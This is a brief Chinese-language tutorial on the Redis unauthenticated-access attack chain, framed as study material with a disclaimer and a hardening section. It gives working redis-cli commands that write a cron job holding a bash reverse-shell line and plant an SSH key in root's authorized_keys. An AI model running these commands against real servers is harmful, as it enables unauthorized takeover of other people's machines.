Redis 未授权访问完整指南:确认未授权、写Crontab/SSH密钥/WebShell GetShell、防御加固。
写在前面:合法学习边界
Redis 攻击只在授权测试环境进行。对非授权 Redis 实例进行攻击可能触犯法律。
一、Redis 未授权利用链

1
| ① 发现 Redis → ② 确认未授权 → ③ 写 Crontab → ④ 写 SSH 密钥 → ⑤ 写 WebShell → ⑥ 提权
|
二、利用步骤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # 确认未授权
redis-cli -h target
PING → PONG(未授权)
# 写 Crontab
set msg "\n* * * * * /bin/bash -c 'bash -i ...'"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save
# 写 SSH 密钥
set sshkey "ssh-rsa AAAA..."
config set dir /root/.ssh
config set dbfilename authorized_keys
save
|
三、防御加固
1
2
3
4
5
| requirepass 设置强密码
rename-command CONFIG ""
bind 127.0.0.1(禁止公网)
Redis 以低权限用户运行
升级到 Redis 6+(ACL 支持)
|
四、小结
Redis 未授权 = 服务器 GetShell。防御核心是设置密码 + 禁止公网 + 最小权限用户。